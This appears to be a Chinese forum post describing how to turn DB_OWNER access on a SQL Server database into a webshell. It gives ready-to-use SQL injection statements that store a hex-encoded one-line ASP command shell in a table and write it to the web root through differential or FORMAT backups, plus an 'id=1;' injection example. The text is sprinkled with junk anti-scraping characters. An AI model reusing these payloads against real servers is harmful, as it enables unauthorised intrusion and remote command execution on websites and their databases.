DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少
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一利用差异备份
" e1 k0 x! n% c5 D& n6 i加一个参数WITH DIFFERENTIAL
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$ z: M6 A2 ], |, [; z: wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
6 y& f* j7 s8 a0 v' O: Z! \) cinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

3 g9 i" P, i, M0 X- v二利用完全FORMAT
6 j8 O  l4 ~  z% ~加一个参数WITH FROMAT
  Q% d5 s% F4 T. h8 }  \有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
2 y. S! K7 w: w; ?) x- @declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

7 h3 g( ~0 H8 N6 ]7 z总的来说就是那么简单几句,下面以备份数据库model为例子

- [( X* b; d  [+ [3 A3 bid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–
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